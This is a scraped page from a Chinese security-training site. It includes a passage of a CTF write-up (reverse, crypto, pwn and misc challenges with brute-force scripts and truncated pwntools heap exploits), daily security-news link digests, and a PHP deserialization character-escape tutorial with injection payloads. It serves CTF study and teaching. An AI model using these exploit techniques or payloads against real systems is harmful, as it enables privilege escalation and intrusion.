0xC9, 0xF5, 0xC1, 0xF2, 0xA3, 0x0D, 0xD0, 0xF5, 0x01, 0x0C, 0x6F, 0x0E, 0x39, 0xF2, 0x80, 0xF5, 0xE4, 0x0C, 0xD7, 0xF8, 0x68, 0x0C, 0x96, 0xF5, 0xA5, 0x0F, 0x9F, 0x0F, 0x31, 0xF9, 0x2E, 0x1B, 0x07]   v13 = a   v14 = b   v15 = 7 * (j ^ 0x4D)   v16 = (v5 + 7 * (j ^ 0x4D)) & 0xff   v18 = v13 - 0x20 + v16   v19 = (v14 - 0x20) << 7   o1 = ((v4 + ((v19 + v18) >> 8) + ((v15 + v5) >> 8)) & 0xff)   o2 = ((v18 + v19) & 0xff)   if (o1 == should_out[2*j]) & (o2 == should_out[2*j+1]):       print a, b       return True   return False v4 = 234 v5 = 6 s = '' for k in range(21):   find = False   for a in range(0x20, 0x80):       for b in range(0x20, 0x80):           if brute(v4, v5, a, b, k):               s += chr(a)+chr(b)               find = True               break       if find:           break   if not find:       print ('fail') print s 得到flag如下:flag{31fd5c30-dc82-abd0-741b-9ba425f2e692} 4、**Rev_Dizzy** 看反编译的代码,完了拿比较的数据反过来进行加减异或 代码太大,就不贴了,在附属文档(命名为deal.cpp) 跑出flag如下: crypto 1、**Guess** 先是一个sha256的爆破,一共要爆破四位,10秒内出结果,第一关就过去了,第二关和矩阵运算有关,key的矩阵给了第一列的数据【119,201,718,647】,有了这行数据和最后矩阵相乘的结果,可以通过sage函数key.solve_left()来求得中间生成的随机矩阵。 但这个函数的限制条件没调好,现在只能解出一个无用的特解。 首先求key,key是一个204的矩阵,乘以一个412的矩阵得到hint中的矩阵。也就是A*R=B,已知B求A。https://ctf.njupt.edu.cn/546.html#diamond该博客中有解法,其中的代码稍微修改修改即可 msg = open(r'C:\\Users\\wcj\\Desktop\\guess_c31fa29ffba2ff77b12dec354b8909e6\\hint', 'r').readlines() B = [] for var in msg:   var = var[1:-2].split(' ')   for x in var:       B.append(int(x)) BB = [] for i in range(0, len(B), 20):   BB.append(B[i: i + 20]) As = [] for i in range(1000):   shuffle(BB)   for line in matrix(len(BB), 20, BB).LLL(delta=float(randint(30000, 99999)/100000)):       if line[0] < 0:           line = -line       if line not in As and all(map(lambda x: 100 <= x <= 1000, line)):           print(len(BB), line)           As.append(line) a = [241, 232, 548, 400, 186, 333, 646, 727, 286, 877, 810, 121, 237, 745, 201, 542, 244, 396, 158, 641] b = [119, 521, 142, 637, 614, 746, 299, 416, 638, 288, 995, 498, 639, 585, 114, 885, 558, 783, 899, 751] c = [718, 550, 349, 939, 148, 355, 942, 685, 313, 577, 184, 130, 307, 983, 611, 903, 271, 530, 566, 427] d = [647, 918, 613, 936, 461, 281, 977, 888, 128, 653, 309, 780, 526, 216, 944, 123, 430, 860, 113, 129] m = matrix([b, a, c, d]) K = [] for i in range(20):   for j in range(4):       K.append(m[j][i]) print(K) print(len(K)==80) 题目使用的加密算法是paillier,该算法有乘法同态性质,也就是D(c1c2)=m1+m2,因此有D(c^k)=km。第三步传给服务器两个明文,服务器返回一个密文。第四步可以将这个密文的平方传回给服务器,服务器返回的就是明文的二倍,这样就可以计算出使用的key,进而判断出第三步传回的是哪个密文 import socketfrom pwn import *from pwnlib.util.iters import mbruteforcefrom hashlib import sha256K = [119, 241, 718, 647, 521, 232, 550, 918, 142, 548, 349, 613, 637, 400, 939, 936, 614, 186, 148, 461, 746, 333, 355, 281, 299, 646, 942, 977, 416, 727, 685, 888, 638, 286, 313, 128, 288, 877, 577, 653 flag{e87fdfb6-8007-4e1c-861f-5bde3c8badb3} 2、**myRSA** 根据加密函数推导 def encry(message,key,p,q,e): k1,k2 = key[random.randint(0,127)],key[random.randint(0,127)] x = p**2 * (p + 3*q - 1 ) + q**2 * (q + 3*p - 1) y = 2*p*q + p + q z = k1 + k2 c = pow(b2l(message),e,p*q) return x * c + y * c + zn == p*qencry == x*c+y*c+z == c*(x+y)+z == c*(p^2*(p+3*q-1)+q^2*(q+3*p-1)+2*p 当message已知时,即c已知,则: ( (p+q)^3 - (p+q)^2 + (p+q) - 4*n ) + z//c == encry//cbit_length(z) ≈ bit_length(c) (p+q)^3 - (p+q)^2 + (p+q) ≈ encry//c + 4*n p+q ≈ iroot(encry//c + 4*n,3) 得到p+q后,即可分解得到p和q,然后 encry(falg) == c*( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q)+zencry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q ) ≈ cc ≈ encry(falg)//( (p+q)^3 - (p+q)^2 + (p+q) - 4*p+q )pow(flag,e,p*q) == cflag = pow(c,d,p*q) 交互过程如图: 具体代码如下: from gmpy2 import * from libnum import *import hashlib, stringimport stringstring.ascii_letters+string.digitsdef getHash(salt, result): characters = string.ascii_letters+string.digits for c1 in characters: for c2 in characters: for c3 in characters: for c4 in characters: proof = (c1 + c2 + c3 + c4) 3、**Random_RSA** python随机数相同的随机数种子产生的随机数序列相同,先用产生的随机数序列异或解密出dp,然后 https://blog.csdn.net/weixin_45369385/article/details/109208109该博客有dp泄露的原理和代码,直接用即可(python2运行) # -*- coding: utf-8 -*-from Crypto.Util.number import *import gmpy2import libnumimport randomimport binasciiimport osn=8119628299260611359123361520468059764520856227932785402698137691797784364485518052822703775269249855837002635324498146790005715799746276073201937218595584650797745665776012568212510 ### pwn 1、**note** scanf那里可以进行格式化字符串的利用,首先修改站上残留的stdout指针,可以泄露地址,之后可以任意地址写: 最后利用传统的exit_hook,劫持_dl_rtld_lock_recursive为one_gadget,当调用exit函数时可得到shell exp: #!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./note"reomote_addr=["47.104.70.90",25315]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PRELOAD flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5} 2、**lemon** 开头的伪随机数可绕过,使得flag输入到栈上; 程序在bss段上残留了一个栈地址: 所有菜单函数里面都没有检查负下标,所以可以修改栈空间,通过部分覆盖将环境变量的一个指针改为flag的地址,之后破坏堆结构,报错即可泄露出flag exp: # -*- coding:utf8 -*-from pwn import *pc = "./lemon_pwn"libc = ELF('./libc-2.26.so')context.binary = pccontext.terminal = ["gnome-terminal", '-x', 'sh', '-c']context.log_level= 'debug'remote_addr = ["47.104.70.90", 34524]ru = lambda x : p.recvuntil(x,timeout=0.2)sn = lambda x : p.send(x)rl = lambda flag{f578948e-8b48-494d-a11e-a97b7fbf14ee} 3、**PassWordBox_FreeVersion** fgets可以溢出一个\x00; libc2.27下的off by null,实现chunk overlap,进而修改tcache的fd指针,分配到__free_hook处,并将其修改为system #!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./pwdFree"reomote_addr=["47.104.71.220",38562]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PRE flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b} 4、PassWordBox_ProVersion 存在UAF,且只能申请largebin大小的chunk 通过2.31的large bin attack,可以修改 mp_结构体中的tcache_bins和tcache_max_bytes 之后通过计算,在伪造的tcache struct的相应size的位置上写上__free_hook,可将其申请出来改为system exp: #!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *pc = './pwdPro'# p = process(pc)libc = ELF("./libc.so")p = remote("47.104.71.220", 49261)context.log_level = 'debug'context.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']ru = lambda x : p.recvuntil(x,timeout=0.2)sn = lambda x flag{909cf735-b274-4098-885b-589300839b71} 5、JigSaw'sCage 存在整数溢出/宽度溢出,可以绕过检查得到一块rwx的堆地址: test函数可以执行输入的汇编代码 利用残留的寄存器r10,r12,分两次写,把__free_hook改为system即可: add r10, 0x50068 mov r12, r10sub r10, 0x1496b0 mov qword ptr [r12],r10 exp: #!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./JigSAW"reomote_addr=["47.104.71.220",10273]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PREL flag{58591d4d-068f-47ed-9305-a65762917b06} misc 1、**层层取证** 挂载镜像,在内存中找到密钥 bitlocker密钥 549714-116633-006446-278597-176000-708532-618101-131406 发现一个流量包 跟踪udp,打开,保存为zip格式 右边有hint和开机密码同 hashdump一下 解一下 xiaoming_handsome是压缩包密码 打开docx,还有一层密码 原始数据中搜索 2、**鸣雏恋** 解压后,得到一个docx,里面就几个字,没有隐藏。改为zip后缀试试。 解压zip,里面的key.txt是零宽 密码是 Because I like naruto best 解压缩包,转化0和1,一把梭出图片 from PIL import Imagefrom Crypto.Util.number import long_to_bytesimport base64path = "D:\\Desktop\\xiangyuncup\\misc4_\\_rels\\out\\"flag = "0b"for i in range(129488): _path=path+str(i)+".png" a=Image.open(_path) if a.size[0] == 23:flag+="0" else:flag+="1"cipher=int(flag, 2)data=long_to_bytes(cipher 3、ChieftainsSecret binwalk可以得到一个表和一张芯片示意图: 显然是要分析芯片的功能了。 表用折线图画,可以发现是一些三角函数信号,根据信号应该可以得出什么信息 处理一下四组数据 https://www.bilibili.com/video/av58935371/ 学习了下怎么转换时间 x=cos_p-cos_n y=sin_p-sin_n 转换成角度,算出theta(atan2(x,y)*57.3,负值加360),画图得到: 逐个比对出峰值对应号码,得到77085962457。 通过本系列的学习,能够对CTF中web有体系的了解,通过练习提升技术 实验推荐:https://www.yijinglab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356
网络安全日报 2021年08月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、诺基亚旗下 SAC Wireless 披露数据泄露 https://www.securityweek.com/nokia-owned-sac-wireless-discloses-data-breach 2、OpenSSL 修补高危漏洞(CVE-2021-3711) https://www.securityweek.com/openssl-vulnerability-can-be-exploited-change-application-data 3、新的 iOS 零点击漏洞可绕过 Apple 的"BlastDoor"沙盒 https://www.securityweek.com/new-ios-zero-click-exploit-defeats-apple-blastdoor-sandbox 4、FBI 公布"OnePercent Group"勒索软件团伙详细信息 https://www.securityweek.com/fbi-shares-details-onepercent-group-ransomware-operators 5、研究人员披露了价值20万美金的Zoom漏洞详细信息 https://www.securityweek.com/details-disclosed-zoom-exploit-earned-researchers-200000 6、WhatsApp for Android 修改版被发现用于传播 Triada 木马 https://thehackernews.com/2021/08/modified-version-of-whatsapp-for.html 7、黑客可以通过输液泵设备漏洞增加药物剂量 https://www.wired.com/story/infusion-pump-hack-dose-increase/ 8、Mirai 僵尸网络利用 Realtek SDK 漏洞瞄准数十万台设备 https://www.bleepingcomputer.com/news/security/botnet-targets-hundreds-of-thousands-of-devices-using-realtek-sdk/ 9、SNI漏洞影响部分安全产品 https://www.inforisktoday.com/sni-vulnerability-affects-some-security-products-a-17344 10、 勒索软件LockFile 使用 PetitPotam NTLM 中继攻击接管Windows 域 https://cyware.com/news/lockfile-uses-petitpotam-attack-to-target-domain-controllers-4f841cf8
PHP反序列化字符逃逸详解
PHP反序列化字符逃逸的原理 当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。 详解PHP反序列化字符逃逸 对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。 过滤后字符变多 过滤后字符变少 过滤后字符变多 假设我们先定义一个user类,然后里面一共有3个成员变量:username、password、isVIP。 class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } 可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。 接下来把完整代码贴出来,便于我们分析。 <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } $a = new user("admin","123456"); $a_seri = serialize($a); echo $a_seri; ?> 这一段程序的输出结果如下: O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 可以看到,对象序列化之后的isVIP变量是0。 这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下: function filter($s){ return str_replace("admin","hacker",$s); } 因此整段程序如下: <?php class user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; } } function filter($s){ return str_replace("admin","hacker",$s); } $a = new user("admin","123456"); $a_seri = serialize($a); $a_seri_filter = filter($a_seri); echo $a_seri_filter; ?> 这一段程序的输出为: O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 这个时候我们把这两个程序的输出拿出来对比一下: O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤 O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤 可以看到已过滤字符串中的hacker与前面的字符长度不对应了 s:5:"admin"; s:5:"hacker"; 在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量 接下来明确我们的目标:将isVIP变量的值修改为1 首先我们将我们的现有子串和目标子串进行对比: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串。 首先计算我们需要注入的目标子串的长度: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//以上字符串的长度为47 因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。 因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下: adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} 完整代码如下: <?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadmin 程序输出结果为: O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker 我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。 后面的注入子串也正好完成了逃逸。 反序列化后,多余的子串会被抛弃 我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下: <?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadmin 程序输出如下: object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacke 可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。 过滤后字符变少 上面描述了PHP反序列化字符逃逸中字符变多的情况。 以下开始解释反序列化字符逃逸变少的情况。 首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。 完整代码如下: <?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('admin','123456');$a_seri = serialize($a);$a_seri_filter = 得到结果: O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 同样比较一下现有子串和目标子串: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。 计算一下目标子串的长度: ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串//长度为47 再计算一下到下一个可控变量的字符串长度: ";s:8:"password";s:6:"//长度为22 因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整) 完整代码如下:(这里的变量里一共有22个admin) <?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad 输出结果: 注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。 O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下: hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6: 也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串 ";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串 完整代码为: <?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad 输出: O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;} 仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105 造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确 解决办法是:多添加2个admin,这样就可以补上缺少的字符。 修改后代码如下: <?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad 输出结果为: O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;} 分析一下输出结果: 可以看到,这一下就对了。 我们将对象反序列化然后输出,代码如下: <?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad 得到结果: object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1)} 可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了 实验推荐:https://www.yijinglab.com/expc.do?ce=fedb75c5-f7f4-450e-8b27-40ac4db2a5d9 通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
网络安全日报 2021年08月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员披露了Sophos UTM 一个远程代码执行漏洞技术细节 https://securityaffairs.co/wordpress/121392/hacking/sophos-utm-appliance-rce.html 2、Razer Synapse 中的LPE 0day漏洞可获取Windows管理员权限 https://securityaffairs.co/wordpress/121385/hacking/razer-synapse-zero-day.html 3、Realtek SDK 漏洞在披露数天后已有在野利用 https://www.securityweek.com/realtek-sdk-vulnerabilities-exploited-attacks-days-after-disclosure 4、研究人员披露 ShinyHunters 网络犯罪集团的作案手法 https://thehackernews.com/2021/08/researchers-detail-modus-operandi-of.html 5、研究人员分析发现被用于数百万次入侵Linux系统的15大漏洞 https://thehackernews.com/2021/08/top-15-vulnerabilities-attackers.html 6、与Covid-19相关的3800 万条记录敏感数据在线泄露 https://www.wired.com/story/microsoft-power-apps-data-exposed/ 7、巴西最大的服装连锁店Lojas Renner遭勒索软件攻击 https://securityaffairs.co/wordpress/121333/cyber-crime/lojas-renner-ransomware.html 8、美国国务院遭遇网络攻击可能导致严重泄密 https://www.cnbc.com/2021/08/21/us-state-department-reportedly-hit-by-a-cyberattack-in-recent-weeks.html 9、世界银行启动全球网络安全基金 https://www.inforisktoday.com/world-bank-launches-global-cybersecurity-fund-a-17341 10、Poly Network 称黑客已归还被盗的 6 亿美元数字货币 https://cybernews.com/crypto/poly-network-claims-a-hacker-returned-stolen-600-million/
网络安全日报 2021年08月23日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、《中华人民共和国个人信息保护法》将于2021年11月1日起施行 http://www.xinhuanet.com/politics/2021-08/20/c_1127779295.htm 2、谷歌披露未打补丁的 Windows AppContainer 漏洞详情 https://www.securityweek.com/google-discloses-details-unpatched-windows-appcontainer-flaw 3、BIND DNS 软件修复高危 DoS 漏洞 https://www.securityweek.com/high-severity-dos-vulnerability-patched-bind-dns-software 4、第三方补丁解决 PetitPotam 更多攻击向量 https://www.securityweek.com/third-party-patches-available-more-petitpotam-attack-vectors 5、T-Mobile 数据泄露事件最新数据显示超过 5400 万人受影响 https://securityaffairs.co/wordpress/121361/data-breach/t-mobile-data-breach-update.html 6、Emsisoft 发布免费的 SynAck 勒索软件解密器 https://securityaffairs.co/wordpress/121328/malware/synack-ransomware-decryptor.html 7、物联网僵尸网络Mozi针对网件、华为中兴等设备 https://thehackernews.com/2021/08/mozi-iot-botnet-now-also-targets.html 8、 包含超过7000万客户记录的AT&T数据库遭泄露 https://www.hackread.com/att-breach-shinyhunters-database-selling-70-million-ssn/ 9、LockFile勒索软件使用PetitPotam攻击劫持Windows域 https://www.bleepingcomputer.com/news/security/lockfile-ransomware-uses-petitpotam-attack-to-hijack-windows-domains/ 10、Cloudflare成功缓解了Mirai僵尸网络每秒1720万次请求的DDoS攻击 https://thehackernews.com/2021/08/cloudflare-mitigated-one-of-largest.html
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页